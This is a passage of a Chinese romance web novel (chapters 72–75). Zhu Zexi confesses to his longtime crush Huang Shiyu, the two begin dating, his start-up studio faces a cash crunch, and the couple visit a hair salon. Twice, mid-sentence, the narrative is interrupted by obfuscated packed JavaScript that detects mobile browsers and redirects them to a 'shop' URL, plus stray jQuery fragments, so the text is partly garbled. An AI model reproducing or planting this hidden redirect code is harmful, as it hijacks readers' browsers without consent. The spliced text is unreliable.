小赵姐直接开门见山,一点喘气的机会都没有留给祝则溪,“你为什么还不跟黄时雨表白?” 祝则溪愣了一下,随即苦笑着摇头,眼神飘向窗外,像是陷入了沉思,“不会成功的事情,难道也要做吗?” “可是她也喜欢你啊,难道你想让她失望吗?” 小赵姐直接打断。 为了让祝则溪听得更明白些,小赵姐又再次重复了一遍,语气变得更加笃定,“我说,黄时雨也喜欢你。” 祝则溪像一座雕塑一样僵在原地,他张了张嘴,却没有任何声音从喉咙里跑出来,好像心脏里有无数的疑惑、激动、紧张、忧虑,却都只能隐藏在貌似波澜不惊的外表下,不敢被任何人找到。 “真的……吗?” 几个颤动的音节从祝则溪的喉咙里冒出来,连带着他开始微微发抖的身体。 都说追寻温暖是人的本能,可是对于祝则溪而言,靠近黄时雨已是不可多得的幸事,他不会有,也不应该有任何逾越这份单向感情的想法。 小赵姐点点头,开始回忆黄时雨在高中时期做过的所有事—— “高二的新年晚会,黄时雨在指挥时不敢看向你的眼睛,是因为她喜欢你;辩论赛那次,是因为她听到了你跟其他同学的交流,才决定选择反方,跟你一组;高中毕业时,我曾经告诉她你为她做的所有事,她全都知道了,在面对罗亦芃的表白时,毫不犹豫拒绝,因为她告诉我她在等你的表白。” “祝则溪,听清楚了吗?” 祝则溪的瞳孔一点一点睁大,耳边也嗡嗡作响,仿佛整个世界都被按下了暂停键,只剩下心脏在胸腔内疯狂撞击的回响。 “听清楚了,”他的声音干涩得像是砂纸磨过石头。 原来这一切都不是偶然,那些曾经被他解读为“普通朋友”的瞬间,在此刻都镀上了全新的含义。 祝则溪一刻也等不了了,他把手机装进口袋,留下一句“谢谢”后,脚下生风一样从餐厅飞奔而出—— 他心中只有一个念头:想要快点见到黄时雨。 街道上人已经不多了,祝则溪沿着黄时雨回家的方向一路不知疲惫地往前跑。 他想用尽全力缩短两人之间的距离,好像这样就可以尽力弥补他们之间曾经错失的那些年岁。 他不想再做一个胆小鬼了,更不想让黄时雨失望。因为,她所有的心愿都应该被实现。 转过弯,黄时雨的背影突然出现在祝则溪的视线里,却很快又变得模糊。 他努力平复住快要跳出喉咙的心脏,攥紧手指大声喊出了那个此时已经意义完全不同的名字—— “黄时雨!” 72. 第七十二次招惹 黄时雨回头。 祝则溪从夜色中冲出来,跑到黄时雨面前时,额头上已经浸出了密密的汗珠。他看向黄时雨的眼神里有紧张、有慌乱,但更多的是期待。 “怎么了?” 黄时雨的声音听起来一如往常,善意的、平静的。 ——“你愿意做我女朋友吗?” 这么多年,祝则溪一直在犹豫徘徊,无数次到嘴边的话最后都在嘴边沉默下去,他不敢说、甚至都不敢承认自己内心对黄时雨有别样的感情,因为他就是个胆小鬼,一个彻头彻尾的胆小鬼。 祝则溪说完就立刻低下头,不敢直视黄时雨的眼睛,他害怕看到黄时雨拒绝或犹豫的眼神,害怕从这句话开始,两人连朋友这种最安全的关系都失去了。 他忽然有点后悔,后悔刚才不应该那么冲动,不应该那么快就问出这个问题,至少应该等黄时雨和自己都准备好后再说。 ——“我愿意。” 黄时雨的声音从祝则溪耳边呼啸而过,他猛地抬头,正对上黄时雨那双热泪盈眶的眼睛。 她说她愿意诶,她说她愿意?! 祝则溪抿住嘴,身体不自觉得向前倾,嘴里试探性地吐出几个字,却抖动得厉害,“那……我可以跟你拥抱一下吗?” 祝则溪还没说完,黄时雨就立刻点头回应,“可以呀。” 祝则溪立马上前一步,把黄时雨紧紧搂在怀里,整个脸全部埋在黄时雨的颈侧,猛吸一口气,想要把黄时雨身上的气息全都同步到自己身上。 他一动不动,沉浸式感受这种被心爱之人的气息包裹的感觉,视觉、嗅觉、触觉感受到的全都是黄时雨,都是他朝思暮想了十余年的女孩。 从知道她、到了解她再到爱上她,祝则溪长达十年的暗恋终于在此刻得以窥见天光。 他一点也不敢松手。 黄时雨轻轻拍了拍祝则溪的胳膊,笑着在他耳边小声说,“三分钟了哦,你现在可以稍微松开我一点吗,有点太紧啦。” 祝则溪疯狂摇头,拒绝得干净又利落。他的头发不停扫过黄时雨的脖子,弄得人痒痒的,可声音却听上去闷闷的,“不可以。” 完全就是耍赖的小孩。 黄时雨也不恼,稍稍偏了一点头,整个人完全靠在祝则溪的肩膀上。 两人之间“咚咚咚”的心跳声交叠在一起,音量大小你追我赶,可合奏出来的声音又意外地和谐舒适,就像早已谱写完成的二重奏。 “苗苗?” “嗯?” “怎么了?” “没有,”祝则溪生涩的嗓音从耳畔传来,“就是想确认一下是不是真的。” “当然是真的啦,你……” 黄时雨话音未落,就听到祝则溪趴在自己肩膀上轻轻的啜泣声,呜呜咽咽的,又因为有胳膊的遮挡,听得不是那么真切。 黄时雨刚想开口安慰他,祝则溪就从黄时雨的肩上抬起头来,他侧身轻轻抹去眼角的眼泪,再看向黄时雨时,已经换上了一副开心的表情。 只不过,这个开心的表情上还附带着两只有点红红的眼睛,像兔子。 “走吧,”祝则溪稍微拉开一点跟黄时雨的距离,两人一起并肩走在回家的路上。 这条江边的路是曾经上学的必经之路,那时候总是忙忙碌碌的,生活似乎充实到没有足够的时间来观察夜里江畔的美,等到终于有时间的时候,又一晃很多年过去了。 不仅是风景换了,身份换了,连身边的人也换了。 祝则溪总是一边走路一边偷瞄黄时雨,像是还没从多年养成的偷看习惯里走出来。 这条路很长,长到祝则溪好像能在两人协调的步伐中看到很多年以后,那时候,人生路上一定已经写满了和黄时雨的故事,不管是喜悦的、失落的,只要有黄时雨在身边,就一定是值得的。 “祝则溪,”黄时雨把刘海别到耳后,声音懒懒的,“要不我跟你分享一个我最近看过的偶像剧桥段吧?” 还没等祝则溪回答,黄时雨就直接开始说下去,好像一秒都等不及了,“就是在男主跟女主表白的那天,男主虽然有点不好意思,就像你现在这样,但还是在一番纠结后,主动牵了女主的手……” “你说,这个桥段是不是还挺甜的?” “嗯。” 祝则溪正在犹豫不决的心思在得到黄时雨明目张胆的允许后变得勇敢起来,两人都垂在身侧的手就这样自然而然地牵到了一起。 祝则溪温热的手掌完全包裹住黄时雨的手,就这样从始至终保持着同样的姿势,哪怕手心微微浸出了汗也不敢松开。 “祝则溪,我看到你今天晚上偷笑了好几次了哦。” 祝则溪正掩面偷笑的手指瞬间僵住,他努力恢复成正常的表情,不自然地抓了抓头发,“哎看到就看到呗,还专门说出来,多不好意思……” 一直沿着江边走到黄时雨家楼下,看到有邻居在楼下三五成群地聊天,黄时雨立马松开了跟祝则溪牵在一起的手。 虽然早就已经是二十多岁的成年人了,但在两人的关系还没有完全走上正轨的时候,黄时雨还是不希望太多人知道这件事,特别是容易断章取义的亲戚邻居。 “那……我先上去了?” “好,去吧,”祝则溪依依不舍地跟黄时雨告别,直到目送着她走进小区,彻底消失在转角处时,祝则溪都还没缓过神来。 可以说,这样的画面,在今天之前,祝则溪连做梦都没敢想过。 一回到家,祝则溪就马不停蹄地拨通了齐章年的电话—— “齐章年,我和黄时雨谈恋爱了!” “啊?!” 果然和祝则溪预想的一样,齐章年的嗓门又增大了好几十个分贝,“你表白了?刚刚吗?什么情况?快点说啊,我等不了了!我当年劝了你那么多次你都不去,今天怎么不当胆小鬼了?” 齐章年连珠炮般的提问完全没有给祝则溪任何回答的机会。 好不容易趁齐章年稍微冷静下来后,祝则溪才开口,“就是在晚餐结束的时候,我追上去表白的,其实当然我特别特别紧张,根本不敢看她的表情……” 祝则溪走到卧室窗户边,像以前无数次凝望一样看着对面那个已经把窗帘拉得紧紧的窗户,“但好在,得偿所愿了。” “啧啧啧,真不容易啊,我嗑了那么多年的CP终于圆满了,你说,是不是也有我的一份功劳啊?” “嗯,也谢谢你了。” 三言两语结束了跟齐章年的对话,祝则溪坐到床边,拉开了那个尘封已久的第二格床头柜。 拍立得、素描纸、红包、橡皮泥……各种写满了祝则溪青春期里的暗恋秘密的信物此刻又一一呈现在他眼前。 祝则溪小心翼翼地将所有信物全部取出来,这是这么多年来,他第一次完完整整地回看所有过往的经历。 毕竟,从今天开始,祝则溪的暗恋之旅正式结束,即将进入全新的人生阶段。 第一张画的是初一的黄时雨在学校门口等爸爸来接; 第二张是黄时雨在书桌前撑着头思考;35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040435|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 第三张是黄时雨参加演讲比赛,第四张是参加舞蹈比赛,第五张是参加辩论比赛…… 祝则溪的手指轻轻抚过画册中的每一页,就好像重新回到了那个时光里一样,那些暗无天日的、混沌到看不见任何希望的日子里,那些画,那个人,就是祝则溪努力生活的真正源动力。 祝则溪翻到画册的第一页,拿起马克笔,用手指简单确定了一下位置,挥笔写下几个大字——“暗恋期”。 又在这几个大字的右下角写上了起止日期——2013.09.02~2023.09.30,共计3682天。 祝则溪转身从美术工具箱里拿出一个崭新的本子,跟“暗恋期”的本子一模一样。 而这一本,从今天开始,即将拥有属于自己的专属名称——“热恋期”。 翻开第一页,祝则溪少见地有点难以下笔。 作为一个熟练的画家,祝则溪画过的画作不在少数,不管是人物、风景、节日、奇幻还是其他类型,对于祝则溪来说都能驾轻就熟,一挥而就。 但眼前这幅画,不再只有黄时雨一个人了,那个很多年来一直在画框外默默注视的男孩,也即将踏入这幅画中,成为其中不可或缺的一部分。 “晚安,男朋友。” 祝则溪正在画画,手机上突然闪现出一条来自黄时雨的消息。 就这短短五个字把祝则溪的嘴角勾得下不来,他拿起手机贴在胸口,罕见地跑到客厅来来回回跑了好几圈,一边兴奋一边说服自己要克制,才让猛烈跳动的心脏一点一点平静下来。 ——“晚安,苗苗。” 说好的晚安,祝则溪却一夜无眠。 躺在床上,他的搜素记录从美术知识一下子全部变成了恋爱,比如刚刚确定情侣关系该如何称呼,应该如何给女朋友制造惊喜,情侣约会地点推荐,如何长期保持恋爱的新鲜感…… 这些从未涉足过的领域让祝则溪越看越精神,每一条言之有理的回答祝则溪都在认认真真研究后,将它们复制到了新建的秘密备忘录里,以备不时之需。 等窗帘的缝隙中露出微微亮光时,祝则溪才意识到已经一整晚过去了。 他立刻从床上坐起来,看到时间才刚过七点,又躺了回去,但并没有睡意。 他焦急地看着手机上一点一点流逝的时间,等到八点,应该就可以跟黄时雨说早安了吧? 祝则溪按照前一天在网上看到的说法,在八点整准时发出了一条消息:“早安,苗苗。” 没想到对面竟是秒回:“早安,祝则溪。” “?” 祝则溪的焦虑情绪瞬间将他从床上推起来,怎么回事,为什么又叫上自己的全名了,是后悔了吗,不愿意了吗? 祝则溪急得在屋子里团团转,对话框里迟迟不传来新消息更是让祝则溪的心情雪上加霜,他盯着对话框看了好一会儿,才小心翼翼地发出了那个疑问句—— “女朋友?” “诶!” 看到这个“诶”字,祝则溪的心又安全落回了肚子里,他捧着手机走到厨房,又把手机架到旁边的置物架上,确认自己在厨房的时候不会错过黄时雨发来的任何一条消息之后,才开始安心做饭。 “你不会是想我了吧?” 祝则溪才刚拿起一个鸡蛋,就二话不说丢下鸡蛋去回复黄时雨的消息—— “对啊,特别想。” 祝则溪又觉得这个程度有点太浅了,不够表明自己心中的思念程度,于是又补充一句,“特别×99。” 73. 第七十三次招惹 这边黄时雨跟祝则溪刚谈上,高中同学那边就全知道了。 想都不用想,一定是齐章年在背地里大肆宣扬。哦不对,好像是明着宣扬,毕竟两位当事人也在那个三个班的大群里。 不过跟齐章年不同的是,两位当事人一直保持沉默,除了非必要的发言,几乎不参与讨论。 从满城回到津南的飞机刚落地,黄时雨和祝则溪的手机就一直响个不停。 “你说这怎么办啊,”黄时雨打开微信,里面冒出来的全是高中同学的名字,甚至还有些曾经几乎一句话没说过的同学也忍不住吃瓜,就打开手机这一会儿功夫,消息数量还在不断激增,“我都不知道要怎么回复了。” 祝则溪握住黄时雨的另一只手,轻轻捏了捏她的手指,“其实我有一个好办法。” “是什么?” 两个人随着人流往外走,祝则溪还是像以前一样把黄时雨护在内侧,避免拥挤。 他没有说话,而是点开了自己的朋友圈,然后又点开了那条八年前的朋友圈,“你看这幅画,就是我头像的原图,是不是很……” “是,很好看。” 黄时雨的抢答来得猝不及防,完全在祝则溪的意料之外。 “哦不是,我是想说,你觉得它看起来是不是很像情侣头像?” 黄时雨震惊的目光移到祝则溪的脸上又移到这幅画上,不对啊,一张八年前的画作,怎么会和情侣头像扯上关系?! 黄时雨绞尽脑汁,只想到了一种解释—— “啊,你不会是这几天专门赶工,给你这个头像画了一个相匹配的女生版本吧?” 祝则溪被黄时雨天马行空的想象力惊到,一时没想好该怎么解释,如果要从小学的初遇一直讲到现在,恐怕是一项大工程。 如果要完完整整地坦白自己的暗恋经过,祝则溪认为,应该找一个最合适的时机,至少现在这个时间并不那么适合。 他选择继续顺着黄时雨的话说下去,“对啊,要不我们换成情侣头像吧?” 黄时雨比对着祝则溪的头像大小和裁剪比例,完美复刻。 “完成啦,你看!” 黄时雨点开和祝则溪的聊天界面,那个被时间尘封了八年之久的女生头像,终于被对的人亲手换上,所有的不确定和怀疑在这一刻都烟消云散,祝则溪暗无天日的暗恋也终于在这一刻等到了属于他的拨云见日。 “嗯,很漂亮。” 从机场出来,两人又坐上了回家方向的地铁。 尽管这一路上人并不是很多,但黄时雨却发现,祝则溪总是一直紧紧牵着自己的手,整个人紧紧贴在自己的左侧,像连体婴一样把两人的距离严格控制在半米以内。 黄时雨拿手机回复工作消息时,只能用右手单手回复;补妆时只能让祝则溪帮忙拿着镜子,自己单手补散粉;就连坐在地铁上时,祝则溪宁愿蹲在黄时雨面前,也不愿意让任何人把两人相握的手隔开…… 黄时雨忍不住揉了揉祝则溪的头发,毛茸茸的,手感很好。 “你怎么不坐啊,蹲着不累吗?” 祝则溪摇摇头,两只手紧紧把黄时雨的手包在手心里,一点缝隙都不留,“不累啊,我想这样跟你靠得近一些。” “那你要不坐我腿上吧,这样更近,”黄时雨边说边拍了拍自己的大腿,这份邀请看起来非常情真意切。 “咳,”祝则溪被黄时雨的“语出惊人”吓得一下子脸红到了脖子根,他别过脸去,小声嘟囔,“这可是公共场合,还是算了吧,不合适。” 明明是开个玩笑,黄时雨看到祝则溪这副表现,又突然无端地产生了一种逗他真有趣的罪恶感。 原来一逗就会脸红啊,真有意思,黄时雨在心里默默记下这条规律。 “祝则溪,这是我们第几次一起走这段路了?” 黄时雨和祝则溪从地铁口出来,像以前的每一次一样慢慢往家的方向走。 “第四次了,”祝则溪几乎不需要思考就脱口而出,“不过从今天开始,意义又不一样了。” “对呀,”黄时雨开心的时候总喜欢把手甩得老高,而这一次,两人相牵的手被黄时雨前前后后摇来摇去,一个人的开心顺着手指融入到另一个人的身体里,变成双倍快乐。 “苗苗,我可以问你一个问题吗?” “可以啊。” 祝则溪顿了顿,“你是什么时候开始喜欢我的?” “嗯……” 要说具体是从什么时候开始的,黄时雨还真说不清楚,毕竟两人已经认识了这么多年,一起经历了那么多事情,或许不是因为某一件事,而是因为长久的陪伴,让这份隐匿于黑暗中的感情浮出水面。 情不知所起,一往而深,大概就是这个道理吧。 “如果我说,我是因为你长得帅才喜欢你的,你会生气吗?” ”不会不会,”祝则溪连忙摇头,“那我会很庆幸的,真的。” 黄时雨噗地笑出来,面对祝则溪懵懵的表情继续补充,“当然也有一点这个原因啦,不过不是最主要的,在我看来,祝则溪是一个坚定、努力、踏实、有上进心也很有潜力的帅哥,同时也是……” “也是什么?” 黄时雨看着祝则溪的眼睛,像是想要把这句话注入他的灵魂,“也是黄时雨对象的不二之选。” 祝则溪闻言怔了怔,随即低头掩饰笑意,但尽管表情掩饰住了,声音里却加倍流露了出来,“知道了。” 陪着黄时雨走到她的小区门口,祝则溪的脚步慢慢停了下来。 黄时雨还是照旧转身,只不过语气变得活泼起来,“我进去咯?” “嗯。” 黄时雨往门口迈了一小步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051386|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是在试探祝则溪的态度,“我真的进去咯?” “嗯。” 黄时雨再往前走出一步,又一次转身,“我真的真的进去咯?” 祝则溪站在路灯下,被黄时雨这番幼稚又可爱的举动逗笑了。他摊开手,装作很苦恼的样子,“其实我也有点舍不得,那怎么办呢?” 黄时雨见大功告成,一步跳到祝则面前,朝他做了一个鬼脸后,一溜烟跑进小区,消失在夜色中。 等祝则溪回过神来时,黄时雨已经不见人影了。 好吧,这是又被黄时雨逗着玩了。 祝则溪笑着摇头,在小区门口停留了好一会儿,直到手机电话响起,才从游离的状态里抽离出来。 “喂?” 祝则溪一边接电话一边步履匆匆地往家走。 李岱的语气听上去有些焦急,事情还是小赵姐婚礼当天说的那些内容,无非就是之前谈合作的那几个资方有点动摇,导致目前工作室的资金出了些问题,需要尽快处理。 “好,我知道了,”祝则溪的眼神垂下来,却仍在尽力安抚李岱的情绪,“你先别着急,我马上到家了,回去我再慢慢想办法。” 挂掉电话,祝则溪拿出钥匙打开门,一刻不停地直奔电脑。 他从文档里找出这段时间工作室的开销表格,与李岱一项一项核对,又按照最坏原则,大致计算了一下工作室还能平稳运行的时间。 “算出来了吗,”李岱在电话那头焦急询问。 “算出来了,”祝则溪看着眼前这个结果,声音低了下去,“最多一个半月。” 两个人同时陷入沉默。 祝则溪虽然早就预料到创业不是一件那么容易的事情,但也没想到工作室体系都还没搭建完全,就迎来了金融危机。 “没事,我来想办法,”祝则溪虽然嘴上这么说,但实际上自己也是焦虑万分。 他作为一个刚毕业不久的创业者,人脉、资源、经验都不够,要找到破局之法,恐怕并非易事。 祝则溪从电脑桌前站起来,慢慢踱步到窗户边。 每次头脑出现混沌时,祝则溪就喜欢打开窗户吹吹风。 晚间的风好像格外有一种能抚慰人心的魔力,这阵风或许从某个不知名的山上来,在喧闹的城市中,从每一个人身上带走一段故事,又将这些故事带到山头隐藏起来,成为天地之间、只有自己知道的秘密。 这个习惯,大概祝则溪是从初中,发现黄时雨住在自己家对面的时候开始的。 祝则溪拿起手机,点开和黄时雨的对话框,思虑再三,决定还是先不将这件事告诉黄时雨为好。 他希望自己能独自处理好这些事情,以一个更可靠、更成熟的面貌面对黄时雨。 ——“晚安,苗苗。” 对面很快传来回复,“晚安啦,小祝同学!” 74. 第七十四次招惹 连续一周,祝则溪都处于对工作室前途生死未卜的担忧状态当中。 他以为自己藏得很好,但在接黄时雨下班回家的第一天,就被黄时雨敏锐地发现了—— “你是不是……有点不开心呀?” 祝则溪赶紧摇头。 “真的没有吗?” 黄时雨从下往上观察着祝则溪的微表情,从嘴唇到鼻子,再到眼睛,一寸都不放过。 看到黄时雨凑近的模样,祝则溪又忍不住嘴角上扬,“好啦,我没有不开心,就是感觉自己出来单干压力好大啊。” 黄时雨把两人随意牵着的手转为十指相扣,手指紧握的力量从指尖一直传递到祝则溪的心窝。 他也紧紧反握住黄时雨的手。 “其实我觉得,你已经做得很好了,”黄时雨的眼睛里闪烁出不容置疑的目光,“真的,才刚大学毕业一年多就能有这样的勇气,其实大多数人都做不到的。你总是习惯于跟那些最顶尖的人进行比较,却往往很难意识到自己已经超过很多人了,所以小祝同学,你要自信一点!” “或者,对我看人的眼光自信一点!” 祝则溪彻底绷不住笑,他轻轻捏了捏黄时雨的手指,转头冲她笑了笑,“好,那我相信你。” 黄时雨和祝则溪从这天开始,就因为工作忙碌等原因几乎很少见面,偶尔在夹缝中打打语音或者视频都已经非常不容易了。 黄时雨刚刚新官上任,还有大量需要对接和安排的工作在等着她处理;而祝则溪这边,新拉来的投资究竟要如何分配和安排也是一件十分令人头大的事情。 成为组长后,黄时雨换了新的工位,从原本比较狭窄的、靠里的位置搬到了有独立隔间的组长专用办公区,虽然位置宽敞了不少,但离自己的上班搭子许灵均的距离也远了不少,两人每次想要聊天都只能趁着吃饭或午休的短暂时间,要么就只能是等电梯的那一两分钟。 黄时雨刚和许灵均在公司吃完午饭,准备把小床拉出来午休一会儿,祝则溪的电话就打了过来。 为了不影响其他同事休息,黄时雨轻手轻脚地穿过办公区的走廊,才滑动了接听键—— “怎么啦?” 祝则溪的声音听起来有点疲惫,“没什么,就是想听听你的声音。” “啊,可是我们昨天晚上才打过语音电话啊,你不会是忘记了吧?” 祝则溪的声音从疲惫突然变得有些委屈,“我知道啊,但也隔了十几个小时了好不好……” 黄时雨“啧”了一声,心里涌起越来越大的疑团,现在这个祝则溪还是自己当年认识的那个祝则溪吗,他什么时候说话变成这个样子了? —— “祝则溪,我怎么以前没发觉你是一个这么黏人的人呢,你不会是假的祝则溪吧?” “可能我本来就是这种人吧,”祝则溪在电话那头哭笑不得,“以前你认识那个我才是假的。” “噢,原来你还有两副面孔呢,小帅哥。” “谢谢夸奖,大美女。” 黄时雨对于这种夸奖虽然嘴上不说,但心里却很受用,“大美女现在要午休了,你退下吧。” “嗻!” 不知道是不是刚刚那通电话的原因,黄时雨这次的午觉睡得格外沉,连自己设好的闹钟都没听见,还是隔壁组长拍肩膀才把黄时雨给叫醒的。 “谢谢啊,”黄时雨起身揉了揉眼睛,打了个哈欠,又重新投入到下午的繁重工作中。 “所有组长,请立刻到九楼会议室开会!” 黄时雨还没完全从睡梦中清醒过来,就看到了企业微信里的开会通知。 跟其他组长一起坐电梯上到九楼,整个会议室里弥漫着的凝重氛围把黄时雨吓得大气都不敢出。 “你们随便坐吧。” 经理站在白板面前,一脸严肃地扫过底下坐着的一群组长们。 黄时雨一步一步挪到最边缘的位置上坐下来,这才看清楚白板上写着的会议主题——“关于不合格组长的裁撤方案”。 黄时雨看着周围人紧张焦虑的表情,也忍不住为自己捏一把汗。 不是,明明才刚上任这么短的时间,怎么就要面临裁撤了?! “各位组长,今天的会议主题想必大家都看到了,我们就直接长话短说,现在裁撤人员名单已经在我手上了,一共有十一人,老组长和新上任的组长都有。” 黄时雨的心脏提到了嗓子眼上,她在心里默默给自己加油鼓劲:如果这次能逃过组长裁撤,这周末就奖励自己去弄那个已经心心念念好久的羊毛卷。 主管开始念名字了。 黄时雨表面上波浪不惊,实则在桌下已经快把手指拧成一团了,这种紧张、慌乱、焦急的感觉跟高中听老赵念成绩简直没什么两样。 “……好了,以上就是这次的裁撤人员名单,被点到名的同事请来我的办公室一趟,其他人可以回去了。” 完全没有念到自己的名字,黄时雨在桌子底下悄悄给自己比了个赞,走出会议室的脚步比先前明显雀跃了许多。 她长舒一口气,心里的大石头终于平安落地了,还好还好,只要保住了就好。 杜宁像是有心电感应一样,黄时雨刚开完会坐电梯返回六楼,她就正好接水出来,两个人猝不及防地对视了,给黄时雨打了个措手不及。 “怎么了,你这副表情,不会裁掉你了吧?” 黄时雨露出自信的笑容,她冲杜宁挑了挑眉,“那还真不好意思,我保住了。” “那就好,要是刚当上组长就被裁了,我肯定第一个嘲笑你哦,”杜宁端着杯子在黄时雨面前停住,继竞选组长后,黄时雨已经很久没有听到过杜宁如此充满“挑衅”的话了。 “好,不过应该,不会给你这个机会。” 回到工位上,黄时雨几番打开和祝则溪的对话框想把这个好消息告诉他,但最终还是忍住了,毕竟某人中午已经说过想我了,下午下班的时候,那个身影一定会出现在楼下的,倒时候再告诉他也不迟。 果不其然,刚走出公司大门,祝则溪就和之前无数次一样,站在老地方——那颗老槐树下等候多时了。 黄时雨跟同事们简单道别后,就快速朝祝则溪的方向冲过去,祝则溪心领神会,立马张开双臂迎接女朋友的投怀送抱。 刚扑到祝则溪的怀里,黄时雨就仰起头把今天一整天发生的事情叽里咕噜全部讲了一遍。 当然,最重要的还是关于保住了组长职位一事了。 “祝则溪,我想好了,为了奖励我自己这么优秀能干,这周周末,我决定去换个发型。” “什么发型?” “我给你找个图片,”黄时雨打开手机,把压在相册里好长时间的发型参考图翻了出来,“就这个,你觉得适合我吗?” 祝则溪几乎不用思考,脱口而出,“我觉得很适合。” 黄时雨眯眼盯着祝则溪,好半天才抛出那个大部分男朋友都答不上来的死亡命题——“为什么适合,原因呢?” “原因啊,”祝则溪低头凑近,视线在黄时雨的脸上转了好几圈,“因为你的脸型偏圆,这个羊毛卷做出来很适配你的脸型,同时你的眼睛很大,皮肤很白,这个发型会更加放大你的五官优势,不管是扎起来还是散着都很漂亮!” 祝则溪最近像是去哪里偷师了一样,的每一句夸赞都正中黄时雨的心窝。 黄时雨满意地点点头,“不错不错,许灵均给我推荐了一个特别靠谱的理发店,我星期六就去弄。” 十月底的津南只有10℃出头了,祝则溪总喜欢把黄时雨的手拉到自己的大衣外套里,两只手在里面紧紧相牵,借助彼此的体温相互取暖。 “等一下,我手机响了,”黄时雨缩回手,从包里拿出手机,一看到联系人显示是“妈妈”,就毫不犹豫地接通。 “妈妈!” 黄时雨兴奋的声音突然从寒风凛冽的街道上毫无征兆地冒出来,就好像提前生长出的春笋从山头厚雪里探出头一样。 黄时雨一只手打电话,一只手被祝则溪牵着继续往前走。 “妈妈,我想跟你说一件重要的事情,你和我爸现在都有空吧?” “有空啊,咋了?” 祝则溪的肩膀被猝不及防被黄时雨轻轻撞了一下,他转过头,看到黄时雨正对自己使眼色,立刻反应过来这应该是要以“男朋友”的身份正式跟黄时雨的爸爸妈妈打招呼了。 “我谈恋爱了,那个男生你们认识,祝则 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“咳,就是随口一说而已,”黄时雨见祝则溪还有想要刨根问底的冲动,立刻杀过去一记凶狠的眼神杀,“不许问了。” “噢,凶巴巴的。” 一想到周六就可以去换新发型了,黄时雨现在看自己头上这一大堆毛更加不顺眼,每天起床随便梳几下,戴个黑框眼睛就去上班。 黄时雨恨不得能快速拉动进度条,直接快进到坐在理发店的那一天,毕竟到达理发店的路线、理发师的名字、打理教程、费用什么的都已经问得清清楚楚了,就差时间还没到了。 “我怎么有点紧张啊,”离理发店就差最后几百米了,黄时雨突然的一句紧张让祝则溪有些不明所以。 “怎么了?” 黄时雨摇摇头,“没有,可能变美之前都会有点紧张和期待吧。” 事实上,当黄时雨正式洗完头开始烫头时,才发现这份紧张和期待将会一直持续到看到完美成品为止。 理发师进行的每一步,黄时雨都直勾勾地盯着人家的动作,生怕有任何闪失。毕竟发型可是一个人的门面,一个好的发型能为外形增分不少。 当然,如果弄毁了,那黄时雨就要狠狠避雷这家店,就算为此发一条小红书避雷帖都不为过。 “苗苗,”祝则溪不知道什么时候出去了一趟,拎着好几个小口袋坐到黄时雨身边的小凳子上。 黄时雨都不需要看里面具体是什么,稍微吸一吸鼻子,就能猜个七七八八。 “是不是有芋泥波波奶茶?” “对,来,”祝则溪用纸巾细心擦去杯壁上的水珠,插好吸管递到黄时雨嘴边。 “应该还有烤面筋?” “有的,”祝则溪又从另一个袋子里拿出一串烤面筋,轻轻吹了吹,“吃一口?” 黄时雨啃下一大口,面筋炸得酥酥的,上面裹着的一层辣椒面和孜然粉很快在胃里产生反应,有点灼热又有点上头。 “是不是还有关东煮?” “有炸鸡吗?” “脆脆鲨有吗?” 黄时雨随口说出的每一样食物,祝则溪无一例外全都买来了,“怎么样,了解你吧?” 黄时雨一边做发型,一边心安理得地享受着祝则溪的陪吃服务,“那要是我吃不完怎么办?” “那就我吃呗,还能怎么办呢,”祝则溪无奈又宠溺地摇头,又一次端起奶茶,“再喝一口,别噎着了。” 烫发时间快到了,理发师走过来查看进度。 她轻轻扯了扯黄时雨的头发,感受了一下硬度,“嗯,感觉差不多了,再等五分钟就可以拆了啊。” “好,谢谢。” 理发师从镜子里看着两人的甜蜜互动,嘴角忍不住勾起笑意。 “你要不要也尝试一下染发呀,小帅哥?” 黄时雨立马一脸期待地观察祝则溪的反应,小声说,“我觉得可以诶,我们一起换成冷棕色好不好?” 祝则溪对黄时雨拉衣角的动作软下心来,从认识黄时雨的那天起,祝则溪就无法做到拒绝她的任何请求,尽管不是太情愿,但祝则溪还是不得不选择了“答应”—— “好吧,那我也试试。” 75. 第七十五次招惹 祝则溪正式成为这个染发项目的参与者,坐在黄时雨左手边的位置上。 “感觉怎么样啊,小祝同学?” 另外一位理发师正在给祝则溪上染膏,由于不方便转头,祝则溪只好盯着镜子回答黄时雨的问题,“跟你一样,我也感觉很紧张。” “哎哟,有什么可紧张的,到时候你们走出我们这家店,就是最般配的小情侣,”黄时雨的理发师帮忙拆掉杠子,拍了拍黄时雨的肩膀,“走吧,该去洗头了。” 男生做发型就是比女生要快得多,等黄时雨洗完头从洗头室里出来,祝则溪都已经顶着那头冷棕色的新发型坐在沙发上等待黄时雨完成最后的收尾工作了。 不得不说,祝则溪这新发色确实很适合他,黄时雨的视线就这样一直盯着他的头发舍不得移开,脖子从90°一点一点转成180°,“哇塞,这个新发色也太适合你了吧,帅得不得了!” 祝则溪无奈地笑着摇头,伸手抓了抓刚做好的发型,“我也觉得还不错。” 黄时雨坐在椅子上,祝则溪也放下手机走到黄时雨身边,两个人一起怀着最激动的心情,等待着黄时雨头上这个花费了六个小时的新发型的揭晓时刻。 “最后再卷一下刘海,”理发师一手拿着吹风机,一手拿着滚筒梳稍稍带了一下黄时雨的刘海,“可以啦,你看看怎么样?” 黄时雨睁开眼。 